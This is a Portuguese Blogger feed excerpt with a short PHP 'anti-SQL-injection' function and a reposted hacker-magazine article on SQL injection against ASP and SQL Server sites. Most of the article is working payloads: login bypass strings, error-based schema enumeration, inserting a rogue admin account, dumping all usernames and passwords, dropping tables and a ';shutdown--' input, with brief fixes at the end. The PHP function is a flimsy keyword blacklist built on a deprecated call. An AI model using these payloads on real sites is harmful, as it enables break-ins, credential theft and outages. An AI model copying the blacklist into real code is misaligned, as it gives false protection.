src='https://blogger.googleusercontent.com/tracker/903428653458405755-7073056824894804755?l=passosdumatester.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://passosdumatester.blogspot.com/feeds/7073056824894804755/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://passosdumatester.blogspot.com/2010/12/bem-que-eu-tentei-nao-por-isso-aqui-mas.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/903428653458405755/posts/default/7073056824894804755?v=2'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/903428653458405755/posts/default/7073056824894804755?v=2'/><link rel='alternate' type='text/html' href='http://passosdumatester.blogspot.com/2010/12/bem-que-eu-tentei-nao-por-isso-aqui-mas.html' title='bem que eu tentei nao por isso aqui mas.....'/><author><name>Lorena Cherulli</name><uri>http://www.blogger.com/profile/01536324137799510371</uri><email>noreply@blogger.com</email><gd:extendedProperty name='OpenSocialUserId' value='16637082429502754431'/></author><thr:total>0</thr:total></entry><entry gd:etag='W/&quot;C0EHQHo5fCp7ImA9Wx9QEUw.&quot;'><id>tag:blogger.com,1999:blog-903428653458405755.post-5837937295388996850</id><published>2010-12-23T05:39:00.000-08:00</published><updated>2010-12-23T05:40:31.424-08:00</updated><app:edited xmlns:app='http://www.w3.org/2007/app'>2010-12-23T05:40:31.424-08:00</app:edited><category scheme='http://www.blogger.com/atom/ns#' term='codigos'/><title>Funçao contra SQL injection</title><content type='html'>&lt;pre class="prettyprint"&gt;# function anti_injection($sql)&lt;br /&gt;# {&lt;br /&gt;# // remove palavras que contenham sintaxe sql&lt;br /&gt;# $sql = preg_replace(sql_regcase("/(from|select|insert|delete|where|drop table|show tables|#|\*|--|\\\\)/"),"",$sql);&lt;br /&gt;# $sql = trim($sql);//limpa espaços vazio&lt;br /&gt;# $sql = strip_tags($sql);//tira tags html e php&lt;br /&gt;# $sql = addslashes($sql);//Adiciona barras invertidas a uma string&lt;br /&gt;# return $sql;&lt;br /&gt;# }&lt;br /&gt;#&lt;br /&gt;&lt;br /&gt;# //modo de usar pegando dados vindos do formulario&lt;br /&gt;# $nome = anti_injection($_POST["nome"]);&lt;br /&gt;# $senha = anti_injection($_POST["senha"]);&lt;br /&gt;#&lt;br /&gt;&lt;br /&gt;# ?&gt;&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/903428653458405755-5837937295388996850?l=passosdumatester.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://passosdumatester.blogspot.com/feeds/5837937295388996850/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://passosdumatester.blogspot.com/2010/12/funcao-contra-sql-injection.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/903428653458405755/posts/default/5837937295388996850?v=2'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/903428653458405755/posts/default/5837937295388996850?v=2'/><link rel='alternate' type='text/html' href='http://passosdumatester.blogspot.com/2010/12/funcao-contra-sql-injection.html' title='Funçao contra SQL injection'/><author><name>Lorena Cherulli</name><uri>http://www.blogger.com/profile/01536324137799510371</uri><email>noreply@blogger.com</email><gd:extendedProperty name='OpenSocialUserId' value='16637082429502754431'/></author><thr:total>0</thr:total></entry><entry gd:etag='W/&quot;D0MFRnw4eip7ImA9Wx9QEE8.&quot;'><id>tag:blogger.com,1999:blog-903428653458405755.post-3204299663196600423</id><published>2010-12-22T05:41:00.000-08:00</published><updated>2010-12-22T05:43:37.232-08:00</updated><app:edited xmlns:app='http://www.w3.org/2007/app'>2010-12-22T05:43:37.232-08:00</app:edited><title>artigo de  Marcelo R. Gomes Publicado: Nas edições da H4CK3R , da Editora Digerati</title><content type='html'>&lt;p&gt;Esse texto é um conjunto de duas matérias que eu publiquei na Revista  H4CK3R números #3 e #4. Foram escritos por mim e relata a utilização e  formas de correção do SQL Injection.&lt;/p&gt; &lt;p&gt;&lt;img src="http://www.totalsecurity.com.br/imgdesta/sqlinjection.jpg" hspace="5" align="left" border="0" /&gt;&lt;strong&gt;Modo Básico, passando por senhas em sites&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;Hoje em dia é uma prática comum os sites pedirem um cadastro do  visitante, e criar-lhe um login, dando acesso a áreas restritas e  especiais do site. Cadastro esse que na maioria das vezes é gratuito,  com a intenção apenas de fidelizar o usuário e claro, ter mais um e-mail  para uma possível divulgação, que neste caso não se caracteriza spam,  pois o devido usuário previamente aceitou informações vindas daquele  site.&lt;/p&gt; &lt;p&gt;Em sites onde o cadastro é pago, aí a coisa muda de figura. O site  imagina estar vendendo alguma informação ao visitante, e por isso, pode  pedir alguns dados sigilosos do usuário e guardá-los seguramente no seu  banco de dados.&lt;/p&gt; &lt;p&gt;O que venho apresentar, jogará seu login no vento e o site arderá no  mármore do inferno, mas só vou falar como funciona porque Alah mandou e  estava escrito com o bit sagrado.&lt;/p&gt; &lt;p&gt;Essa técnica geralmente é chamada de SQL Injection, ou seja, injeção  de SQL. Funciona em sites que testam a entrada do login em scripts ASP  com chamadas internas de SQL.&lt;/p&gt; &lt;p&gt;&lt;em&gt;&lt;strong&gt;Vamos a lógica:&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt; &lt;p&gt;O programador, iniciante ou não, pensa em criar uma área restrita  para o site, logo precisará de um login e senha para os usuários. Então é  criado dentro do banco de dados (em sql ou mdb, mais comum em mdb) uma  tabela chamada Users, com alguns campos, dentre eles Usuario, Senha,  Nome e Admin. Esses campos informarão exatamente o que o nome diz, ou  seja, o login do usuário, a sua respectiva senha, seu nome e um campo  flag indicando se é admin do site ou não. Se for admin, geralmente tem  acessos a cliques extras, do tipo incluir/editar/deletar alguma  informação.&lt;/p&gt; &lt;p&gt;Feito isso, cria dentro da sua página um bloco onde pede o login e  senha para o usuário ter acesso as devidas áreas. Geralmente, o  formulário tem apenas os dois campos mesmo, user e senha. Esses dois  campos são enviados para um script .asp, que validará ou não o login  informado. Se for válido, redireciona para a área restrita, senão, volta  ao login ou no máximo, informa que o login estava errado.&lt;/p&gt; &lt;p&gt;Bonito não!?  Teoricamente funciona.&lt;/p&gt; &lt;p&gt;&lt;em&gt;&lt;strong&gt;Vamos a prática:&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt; &lt;p&gt;Dentro desse script .asp, o programador colocou algo desse tipo:&lt;/p&gt; &lt;p&gt;*****&lt;/p&gt; &lt;p&gt;‘ Isso pega o usuário e senha informados no formulário&lt;br /&gt;cUser = trim(request(usuario))&lt;br /&gt;cSenha = trim(request(senha))&lt;/p&gt; &lt;p&gt;‘Isso verifica no banco de dados se o usuário e senha conferem&lt;br /&gt;‘ (vamos supor que o banco já esteja aberto com o nome de objConn)&lt;br /&gt;SQLOpen = select usuario, senha, nome, admin from Users where usuario=’ &amp;amp; cUser &amp;amp; ‘ and senha=’ &amp;amp;  cSenha &amp;amp; ‘&lt;br /&gt;objRS.Open SQLOpen, objConn&lt;/p&gt; &lt;p&gt;‘ Verifica se achou um usuário com o login e senha informados&lt;br /&gt;if not objRS.bof then&lt;br /&gt;response.write Bem vindo  &amp;amp; objRS.fields(nome) &amp;amp; !&lt;br /&gt;else&lt;br /&gt;response.write Login inválido.&lt;br /&gt;end if&lt;/p&gt; &lt;p&gt;*****&lt;/p&gt; &lt;p&gt;Na prática inocente, isso funciona. Funciona muito bem. Testa os  usuários, se a senha não for a correta, realmente não entra. Se um  usuário foi digitado errado, também não dá acesso.&lt;/p&gt; &lt;p&gt;Mas, na prática hacker, isso funciona melhor ainda, pois permite  entrarmos como qualquer usuário do sistema. Até mesmo com status de  admin.&lt;/p&gt; &lt;p&gt;&lt;em&gt;&lt;strong&gt;Vamos pensar um pouco:&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt; &lt;p&gt;select usuario, senha, nome, admin from Users where usuario=’ &amp;amp; cUser &amp;amp; ‘ and senha=’ &amp;amp; cSenha &amp;amp; ‘&lt;/p&gt; &lt;p&gt;Essa é a string do SQL. Em VB e ASP, sabemos que para concatenarmos  uma string dentro de outra, devemos usar aspa simples, invés de aspa  dupla, pois a aspa dupla é para a string mestra, e a aspa simples é para  a string interna.&lt;/p&gt; &lt;p&gt;Traduzindo a string acima, teríamos:&lt;br /&gt;select usuario, senha, nome, admin from Users where usuario=’geek’ and senha=’s3nh4′&lt;/p&gt; &lt;p&gt;Dessa forma, trocamos as variáveis cUser e cSenha, pelos seus respectivos conteúdos.&lt;/p&gt; &lt;p&gt;Repito, isso funciona muito bem, quando usamos de forma inocente.  Vale lembrar que de 10 sites em asp que pedem login e senha, 8 tem essa  forma de consulta e estão sujeitos a algum tipo de invasão, dependendo  do nível de acesso que permita aos seus usuários.&lt;/p&gt; &lt;p&gt;Você falou, falou, falou…. mas e daí!?   Cadê o erro nisso?&lt;/p&gt; &lt;p&gt;&lt;em&gt;&lt;strong&gt;Ok.  Vamos ao erro:&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt; &lt;p&gt;Se quando formos digitar um login, tivermos essa string de  programação do sql na cabeça, podemos formar outra facilmente, que  injeta um comando de sql, dentro do que o programador já fez.&lt;/p&gt; &lt;p&gt;Ou seja, se eu digitar Mario no username, o sql ficará:&lt;/p&gt; &lt;p&gt;select usuario, senha, nome, admin from Users where usuario=’Mario’ and senha=’s3nh4′&lt;/p&gt; &lt;p&gt;Repare que as aspas simples continuam e fazem realmente parte do  comando, que mostra ao sql que aquele campo deve ser comparado com um  dado do tipo string.&lt;/p&gt; &lt;p&gt;Agora, se digitarmos no username Ma’rio (com uma aspa simples no  meio), a página dará um erro, pois o comando ficaria desse tipo:&lt;/p&gt; &lt;p&gt;select usuario, senha, nome, admin from Users where usuario=’Ma’rio’ and senha=’s3nh4′&lt;/p&gt; &lt;p&gt;Analisando, vemos que quando fomos comparar o campo usuário, abrimos  uma aspa simples, colocamos o conteúdo Ma e fechamos a aspa simples.  Para o sql, a comparação terminou aí, o que vem depois, deveria ser  comandos. Mas não era. Era a continuação do username, a palavra rio e  mais uma aspa simples, que deveria estar fechando a primeira (antes da  palavra Ma), mas na realidade está abrindo uma nova string no SQL, e  como não é comparado com nada, o SQL retorna erro de programação.&lt;/p&gt; &lt;p&gt;Então, já que o SQL aguarda ansiosamente por outra aspa simples para  fechar aquela primeira, porque nós não damos a ele, e aproveitando,  injetamos um comando nele.&lt;/p&gt; &lt;p&gt;Imagine se usarmos a string  ‘ or ’1 (isso mesmo: aspa simples + espaco + or + espaco + aspa simples + 1), ficaria assim:&lt;/p&gt; &lt;p&gt;select usuario, senha, nome, admin from Users where usuario=” or ’1′ and senha=’s3nh4′&lt;/p&gt; &lt;p&gt;Lendo o comando, seria a mesma coisa que falar pro SQL: me retorne o  usuario que seja igual a vazio OU 1. Lembrando que 1 em informática é a  mesma coisa que True (verdadeiro). Lendo novamente: Me retorne o usuário  que seja igual a vazio (não existe nenhum) OU verdadeiro (opa..  verdadeiro é verdadeiro, então achei). Nisso, a tabela pega todos os  usuários, pois todos dão verdadeiro. Não são igual a vazio, mas o 1  garante que todos sejam válidos. Agora falta só filtrar a senha.&lt;/p&gt; &lt;p&gt;Se usarmos a mesma string mágica na senha, nós seremos o primeiro usuário da tabela, pois:&lt;/p&gt; &lt;p&gt;select usuario, senha, nome, admin from Users where usuario=” or ’1′ and senha=” or ’1′&lt;/p&gt; &lt;p&gt;Me retorne o usuário que seja igual a vazio (nenhum) OU verdadeiro  (todos) E que tenha a senha igual a vazio (nenhum) OU verdadeiro  (todos).&lt;/p&gt; &lt;p&gt;Isso traz todos os usuários da tabela, porém com o ponteiro no primeiro usuário.&lt;/p&gt; &lt;p&gt;Quando fazemos uma tabela de usuários, e colocamos no ar, qual o  primeiro usuário que incluímos? Nós mesmos, claro. E com nível de  administrador. E é exatamente esse que viramos quando usamos essa falha.&lt;/p&gt; &lt;p&gt;Alguns outros casos, são quando queremos entrar com o username de uma  determinada pessoa. No username, colocamos o nome dela corretamente, e  na senha, como não sabemos, usamos essa string que nos foi enviada por  Alah. O SQL, muito esperto, entende que é pra retornar o usuário com o  nome informado e que tenha uma senha igual a vazio OU verdadeiro. Ou  seja, na verdade, ele irá ignorar a senha, e apontará para o registro  que o username seja igual ao que foi informando no campo do formulário.&lt;/p&gt; &lt;p&gt;Outro ponto, é quando não sabemos o nome do usuário, e o site tem  muitos cadastros. Então, entramos como qualquer um, e com seus  respectivos direitos. No usuário colocamos a string mágica, e na senha  chutamos qualquer coisa, por exemplo, 123456 (num site com mais de 200  cadastros, é 99% de certeza que alguém tenha usado essa senha.). Então, o  SQL apontará o registro para o primeiro usuário que tenha essa senha no  seu cadastro. Outras senhas usadas são: 123123, 123321, 121212, 111222,  (o próprio nome do site), abc, abcd, abcdef, abc123, 123abc, e coisas  fáceis desse tipo.&lt;/p&gt; &lt;p&gt;E no caso do login pedido ser um e-mail, essa string não funcionará,  pois talvez exista uma validação no campo do login para atestar que o  que foi digitado tem um formato de e-mail (digo talvez, pois já vi sites  pedindo e-mail login mas que não validavam nada…)&lt;/p&gt; &lt;p&gt;Daí, usamos a string que passa por essas validações (como o campo de  e-mail é grande, por não se saber qual o mail do usuário, podemos  utilizar essa string maior. A string anterior é pequena para caber em  qualquer campo de login e senha).&lt;/p&gt; &lt;p&gt;A string que passa pelos e-mails é:&lt;br /&gt;eu@eu.com’or’.11′=’.11&lt;br /&gt;Dessa forma, caso verifiquem se existe @, esta string passará pois tem 1 @ só.&lt;br /&gt;Se verificarem se tem alguma coisa antes da @… ela é válida e também passa.&lt;br /&gt;Se verificarem de trás pra frente na string.. procurando por uma TLD  válida (com um ponto na terceira ou quarta casa, de trás pra frente),  encontrarão o ponto (.) na terceira casa, que significa uma TLD  brasileira (.br) ou de outros países. E se ainda verificarem mais pra  trás, por domínios, encontrarão outros 2 pontos, o que torna esse e-mail  pertencente a um dominio com subdomínio.&lt;/p&gt; &lt;p&gt;Ok. Sou dono de um site em asp, e uso essa forma de verificação.  Agora que você já me ferrou e que todo mundo vai me invadir, pode me  dizer como conserto isso?&lt;/p&gt; &lt;p&gt;Claro. É pra isso mesmo que eu estou falando desse erro. Para alertar os sites que estejam com esse problema. Vamos a correção:&lt;/p&gt; &lt;p&gt;O problema todo é que o script só verifica se achou ou não um  usuário, não faz um check-up para atestar a veracidade do que foi  encontrado. Então, bastaria adicionar o seguinte comando dentro daquele  script:&lt;/p&gt; &lt;p&gt;*****&lt;/p&gt; &lt;p&gt;‘ Isso pega o usuário e senha informados no formulário&lt;br /&gt;cUser = trim(request(usuario))&lt;br /&gt;cSenha = trim(request(senha))&lt;/p&gt; &lt;p&gt;‘Isso verifica no banco de dados se o usuário e senha conferem&lt;br /&gt;‘ (vamos supor que o banco já esteja aberto com o nome de objConn)&lt;br /&gt;SQLOpen = select usuario, senha, nome, admin from Users where usuario=’ &amp;amp; cUser &amp;amp; ‘ and senha=’ &amp;amp;  cSenha &amp;amp; ‘&lt;br /&gt;objRS.Open SQLOpen, objConn&lt;/p&gt; &lt;p&gt;‘ Verifica se achou um usuário com o login e senha informados&lt;br /&gt;if not objRS.bof then&lt;br /&gt;if objRS.fields(usuario) = cUsuario and objRS.fields(senha) = cSenha then&lt;br /&gt;response.write Bem vindo  &amp;amp; objRS.fields(nome) &amp;amp; !&lt;br /&gt;else&lt;br /&gt;response.write Login inválido.&lt;br /&gt;end if&lt;br /&gt;else&lt;br /&gt;response.write Login inválido.&lt;br /&gt;end if&lt;/p&gt; &lt;p&gt;*****&lt;/p&gt; &lt;p&gt;Dessa forma não há furos de aspa simples ou aspa dupla, pois o IF não se confunde com isso.&lt;/p&gt; &lt;p&gt;Outra forma também, seria tratar o caractere da aspa simples dentro  dos campos de usuario e senha, não deixando ele estar contido nesses  campos. Mas é um pouco mais trabalhoso.&lt;/p&gt; &lt;p&gt;Outra coisa que é bom lembrar, é que esse erro não afeta somente a  internet. Sistemas feitos em Delphi e Visual Basic com esse tipo de  verificação de usuário também estão passíveis a esse erro. Portanto,  verifique-os também.&lt;/p&gt; &lt;p&gt;&lt;strong&gt;Modo Avançado, buscando e alterando dados&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;Agora que você já sabe como entrar em um site restrito, que peça  login e senha, feito em asp com sql, vamos aprender agora como ver dados  das tabelas, modificar ou até mesmo apagar todo o banco de dados.&lt;/p&gt; &lt;p&gt;Aqui são usados conhecimentos avançados de programação em SQL e, se  você não conhece SQL (a linguagem), então essa matéria não vai adiantar  muita coisa pra você. Recomendo que caso queira se tornar um perito em  invasão de banco de dados, vá aprender SQL primeiro. &lt;img src="http://s1.wp.com/wp-includes/images/smilies/icon_wink.gif?m=1269039614g" alt=";)" class="wp-smiley" /&gt; &lt;/p&gt; &lt;p&gt;Nem só de campos de formulários vive um site. O site também pode  passar informações pela linha de endereços. Se você não consegue fazer  alguma coisa pelos próprios campos (aqui também usaremos o campo de  usuário de um login para fazer as ações), então abra o código fonte da  página (aquele com o clique do botão direito do mouse, exibir código  fonte), e procure pela linha do Form Action. O que vem depois do Action é  a url ou página a ser chamada pelo formulário. Depois, procure nas tags  de inputs o campo de entrada do usuário, geralmente denominado  name=usuario ou name=user. Feito isso, já temos a nossa ação pela linha  de comando, livre das travas impostas pelo formulário, tais como o  limite de caracteres ou alguma validação de campo feito em javascript.  Dessa forma, invés de preencher o campo usuário no form, você colocaria  no endereço uma url desse tipo:&lt;br /&gt;www.siteemasp.tld/arquivo.asp?user=comandos em sql&lt;/p&gt; &lt;p&gt;Não se preocupe com os espaços na URL, pois o Internet Explorer é  bonzinho e se encarrega de trocar pelos devidos códigos de espaço (%20)&lt;/p&gt; &lt;p&gt;&lt;em&gt;&lt;strong&gt;Vamos falar um pouco de teoria&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt; &lt;p&gt;No SQL, o comando de banco de dados é simplesmente uma string com um  texto dentro. Esse texto, formado de comandos pré-estipulados, é  interpretado pelo SQL e retorna o que foi pedido. Além dos comandos,  existe também uma definição de Comentário dentro do SQl, que pra muita  gente é algo desconhecido. Da mesma forma que você pode comentar o seu  script ou programa, incluindo linhas que dizem pra que serve cada bloco,  o SQL também permite, dentro dessa string, um comentário que facilitará  o entendimento daquela string quando for lida por outra pessoa. Apesar  de quase nunca ser usada na prática, esse caractere de comentário terá  uma função extremamente valiosa para nós. Outro caractere que será muito  usado e venerado aqui, é o caractere de “faz mais alguma coisa”, que  além de executar o primeiro comando, manda executar um segundo comando  dentro daquele primeiro. Entenderão o que eu estou dizendo mais na  frente.&lt;/p&gt; &lt;p&gt;Só pra ilustrar, o caractere de comentário são dois sinais de menos  “–“ e o caractere de nova execução é o ponto-e-vírgula “;”. O caractere  asterisco “*” significa todos os campos da tabela.&lt;/p&gt; &lt;p&gt;&lt;em&gt;&lt;strong&gt;Finalmente, vamos a prática…&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt; &lt;p&gt;Seria interessante que ao mesmo tempo em que você for lendo, ir  também testando em algum site o que será dito adiante. É mais prudente  montar um site em asp, com um acesso ao banco de dados em SQL Server  próprio, para testar. É sempre válido lembrar que esta matéria é apenas  para fins educacionais. J&lt;/p&gt; &lt;p&gt;Você está num site em asp, com acesso por SQL, que usa um campo de login e senha vistos por uma sql desse tipo:&lt;/p&gt; &lt;p&gt;SQL = “Select * from usuarios where username=’” &amp;amp; user &amp;amp; “’ and pass=’” &amp;amp; pass &amp;amp; “’”&lt;/p&gt; &lt;p&gt;A sql é desse tipo, mas você como usuário normal do site não conseguiria saber disso.&lt;/p&gt; &lt;p&gt;No campo de usuário, se você colocar o conteúdo:&lt;br /&gt;Usuário: admin’ –&lt;br /&gt;Senha: xyz&lt;/p&gt; &lt;p&gt;O que irá acontecer é que você irá entrar no site como se fosse o  admin (levando em consideração que admin é o usuário real cadastrado no  banco de dados como sendo o admin), mesmo sem saber a senha do admin,  pois a senha agora será ignorada.&lt;/p&gt; &lt;p&gt;O caractere – - no final do campo especifica pro sql que daquele  ponto em diante tudo é comentário, e a string do SQL final ficaria desse  tipo:&lt;/p&gt; &lt;p&gt;SQL = “Select * from usuarios where username=’admin’ — ‘ and senha=’xyz’ “&lt;/p&gt; &lt;p&gt;Ou seja, a verificação “ ‘ and senha=…” virou um simples comentário  dentro daquela string e não será processada pelo interpretador do sql.  Dessa forma, você entrar simplesmente designando o username.&lt;/p&gt; &lt;p&gt;Creio que agora está entendido o uso do caractere de comentário.  Vamos seguir em frente.&lt;/p&gt; &lt;p&gt;Caso você não saiba o nome de algum campo da tabela, ou até mesmo não  saiba o nome de alguma tabela, podemos usar as mensagens de erro do SQL  para poder conhecer mais sobre as tabelas do site. Façamos da seguinte  forma no campo de usuário:&lt;/p&gt; &lt;p&gt;Usuário: ’ having 1=1 –&lt;br /&gt;Senha: xyz&lt;/p&gt; &lt;p&gt;O erro dado será parecido com o abaixo:&lt;br /&gt;Microsoft OLE DB Provider for ODBC Drivers error ’80040e14′&lt;br /&gt;[Microsoft][ODBC SQL Server Driver][SQL Server]Column ‘usuarios.CODIGO’  is invalid in the select list because it is not contained in an  aggregate function and there is no GROUP BY clause.&lt;br /&gt;/arquivo.asp, line 94&lt;br /&gt;Agora, você já sabe o nome da tabela (usuarios) e o nome do primeiro  campo (código) da consulta na tabela. Como foi usado *, este campo é o  primeiro a ser retornado.&lt;/p&gt; &lt;p&gt;Se fosse usada uma string do tipo:&lt;/p&gt; &lt;p&gt;SQL = “select nome, login, senha, nivel, cpf from usuarios where ….”&lt;/p&gt; &lt;p&gt;O que ia ser retornado é usuarios.NOME, pois é o primeiro campo da pesquisa.&lt;/p&gt; &lt;p&gt;Se você agora montar uma outra string dentro do campo nome, irá saber o próximo campo da tabela:&lt;/p&gt; &lt;p&gt;Usuário: ’ group by usuarios.codigo having 1=1 –&lt;br /&gt;Senha: xyz&lt;/p&gt; &lt;p&gt;Isso irá produzir o seguinte erro:&lt;br /&gt;Microsoft OLE DB Provider for ODBC Drivers error ’80040e14′&lt;br /&gt;[Microsoft][ODBC SQL Server Driver][SQL Server]Column ‘usuarios.login’  is invalid in the select list because it is not contained in either an  aggregate function or the GROUP BY clause.&lt;br /&gt;/arquivo.asp, line 94&lt;br /&gt;Você agora pode ir gerando erros assim até saber todos os campos que  serão retornados da string SQL. Basta para isso dividir os campos com  vírgula, assim:&lt;/p&gt; &lt;p&gt;Usuário: ’ group by usuarios.codigo, usuarios.login having 1=1 –&lt;/p&gt; &lt;p&gt;Quando você não obter mais nenhuma mensagem de erro, significa que  todos os campos já estão validados e constam na string. Nesse ponto,  você já saberá todos os campos e a ordem que eles virão.&lt;/p&gt; &lt;p&gt;Agora é interessante saber o tipo de cada campo e, para isso, vamos obrigar o sql a gerar um novo erro:&lt;/p&gt; &lt;p&gt;Usuário: ’ union select sum(login) from usuarios –&lt;/p&gt; &lt;p&gt;O erro aparece como:&lt;br /&gt;Microsoft OLE DB Provider for ODBC Drivers error ’80040e07′&lt;br /&gt;[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average  aggregate operation cannot take a varchar data type as an argument.&lt;br /&gt;/arquivo.asp, line 94&lt;br /&gt;Isso informa que o campo login é do tipo varchar. Mas se por acaso a  mensagem de erro vier da forma a seguir, é porque o campo em questão é  do tipo numérico.&lt;br /&gt;Microsoft OLE DB Provider for ODBC Drivers error ’80040e14′&lt;br /&gt;[Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an SQL  statement containing a UNION operator must have an equal number of  expressions in their target lists.&lt;br /&gt;/arquivo.asp, line 94&lt;br /&gt;Agora que você já sabe o nome da tabela, os nomes dos campos e seus  respectivos tipos, vamos ao próximo passo, que é usar o caractere de  “faz mais alguma coisa”, o excelentíssimo ponto-e-vírgula.&lt;/p&gt; &lt;p&gt;Usuário: ’ ; insert into usuarios (nome, login, senha, nivel, cpf ) values ( “Geek”, “haxo”, “p4ss”, 1, “12345678900”) –&lt;/p&gt; &lt;p&gt;Preciso explicar!? J Bem, isso faz uma inclusão na tabela usuários de  um registro, o qual tem o username sendo haxo e a senha p4ss, o que  permitiria a você ser um novo usuário do site, dessa vez devidamente  registrado.&lt;/p&gt; &lt;p&gt;Obviamente, isso não se restringe a tabelas de usuários. Serve para  qualquer tabela no site, como matérias, enquetes, colunas e até mesmo  alguma tabela que guarde dados financeiros como cartões de crédito ou  outras coisas.&lt;/p&gt; &lt;p&gt;Uma ténica boa para descobrir o conteúdo dos campos é atribuindo um  campo texto a um campo numérico. Por exemplo, vamos supor que o site em  um determinado momento, se referencie a uma matéria dentro dele por um  código numérico, do tipo idm=432. Daí, podemos descobrir um usuário  fazendo o seguinte esquema na URL:&lt;/p&gt; &lt;p&gt;www.siteemasp.tld/pagina.asp?idm=(select min(login) from usuarios) –&lt;/p&gt; &lt;p&gt;O erro retornado será assim:&lt;br /&gt;Microsoft OLE DB Provider for ODBC Drivers error ’80040e07′&lt;br /&gt;[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting  the varchar value ‘anderson’ to a column of data type int.&lt;br /&gt;/arquivo.asp, line 94&lt;br /&gt;Ou seja, sabemos que o menor login (na ordem alfabética) é Anderson.  Isso acontece dessa forma direta, pois dentro do SQL a comparação de  números não pode ter aspas simples, e o campo pode ser comparado com uma  nova string sql, desde que entre parênteses.&lt;/p&gt; &lt;p&gt;Agora, podemos também descobrir sua senha, dessa forma:&lt;/p&gt; &lt;p&gt;www.siteemasp.tld/pagina.asp?idm=(select senha from usuarios where login=’anderson’) –&lt;br /&gt;Microsoft OLE DB Provider for ODBC Drivers error ’80040e07′&lt;br /&gt;[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting  the varchar value ’14quatorze’ to a column of data type int.&lt;br /&gt;/arquivo.asp, line 94&lt;br /&gt;Agora sabemos um usuário e uma senha real do site. Claro que se a senha  do Anderson fosse numérica, o que aconteceria era aparecer uma matéria  qualquer, mas bastaria pegar o ID da matéria, em algum lugar do código  fonte, ou até mesmo na barra de endereços (caso ela mudasse), e  saberíamos a senha dele, do mesmo jeito.&lt;/p&gt; &lt;p&gt;Uma outra situação, porém bem mais complexa e avançada, é a criação  de SQL Transactions, que nada mais é do que um pequeno script que roda  dentro do SQL e retorna uma resposta programada.&lt;/p&gt; &lt;p&gt;A seguinte linha, manda que seja criada uma Transact SQL concatenando  todos os usuários e senha da tabela, e retornando em uma mensagem.&lt;/p&gt; &lt;p&gt;Usuário: ‘; begin declare @ret varchar(8000) set @ret=’:’ select  @ret=@ret+’ ‘+login+’/’+senha from usuarios where login&gt;@ret select  @ret as ret into alluser end –&lt;/p&gt; &lt;p&gt;Depois de enviado, isso cria uma tabela chamada alluser com um campo  nomeado como ret, que contem um único registro com todos os logins e  senhas concatenados.&lt;/p&gt; &lt;p&gt;Para ver o resultado disso, basta executar a url de matérias, dessa vez selecionando esse campo da nova tabela:&lt;/p&gt; &lt;p&gt;www.siteemasp.tld/pagina.asp?idm=(select ret from alluser) –&lt;/p&gt; &lt;p&gt;O retorno será alguma coisa desse tipo:&lt;br /&gt;Microsoft OLE DB Provider for ODBC Drivers error ’80040e07′&lt;br /&gt;[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting  the varchar value ‘: atadmin/umasenha user3/abcd anderson/14quatorze’ to  a column of data type int.&lt;br /&gt;/arquivo.asp, line 94&lt;/p&gt; &lt;p&gt;Depois de ver os dados da nova tabela, apague-a:&lt;/p&gt; &lt;p&gt;Usuário: ‘; drop table alluser  –&lt;/p&gt; &lt;p&gt;Captaram a mensagem? Isto é quase tudo que se pode fazer com o SQL  Server, quando mau programado dentro de uma ASP. Existem pessoas que  acham que simplesmente limitando o tamanho de um campo dentro do  formulário, já estão se prevenindo de selects e outros comandos mais.  Imaginemos um campo de usuário limitado em 12 caracteres:&lt;/p&gt; &lt;p&gt;Usuário: ‘;shutdown–&lt;/p&gt; &lt;p&gt;Exatos 12 caracteres. Isso derrubará todo o SQL Server da máquina,  atingindo também outros sites que usarem esse servidor. Se limitar em  menos, existe a alternativa de fazer direto no endereço da url, como foi  mostrado no caso do ID de uma matéria do site.&lt;/p&gt; &lt;p&gt;Existe ainda formas de, por comandos em SQL, executar comandos  arbitrários dentro do server que roda o sql server. Você por exemplo,  poderia obter o dir de um c: ou até mesmo criar e apagar arquivos dentro  da máquina. Mas isso, é um outro assunto. Por hora, tá bom.&lt;/p&gt; &lt;p&gt;Vale lembrar que todas essas situações descritas aqui funcionam em  sites com SQL Server. Sites que tem um MDB como banco de dados, os  selects funcionarão, mas coisas como SQL Transact e alguns outros  comandos peculiares ao SQL Server não irão funcionar.&lt;/p&gt; &lt;p&gt;Você é programador de um site (ou vários) em asp e está perplexo com  tudo isso, pois todos os sites que você fez estão vulneráveis a esse  erro, e você precisa de uma solução rápida para consertar todos eles?  Infelizmente, não existe. Você vai ter que verificar o conteúdo de cada  variável, dentro da própria asp, antes de coloca-la dentro de um comando  sql. Difícil e penoso? Pois é… quem mandou escolher essa profissão… &lt;img src="http://s2.wp.com/wp-includes/images/smilies/icon_smile.gif?m=1269039614g" alt=":)" class="wp-smiley" /&gt; )&lt;/p&gt; &lt;p&gt;&lt;strong&gt;Escrito Por:&lt;/strong&gt; Marcelo R. Gomes&lt;br /&gt;&lt;strong&gt;Publicado: &lt;/strong&gt; Nas edições da H4CK3R #3 e #4, da Editora Digerati&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;retirado de: http://evandropaes.wordpress.com/2007/03/26/conheca-tudo-sobre-sql-injection/&lt;br /&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' 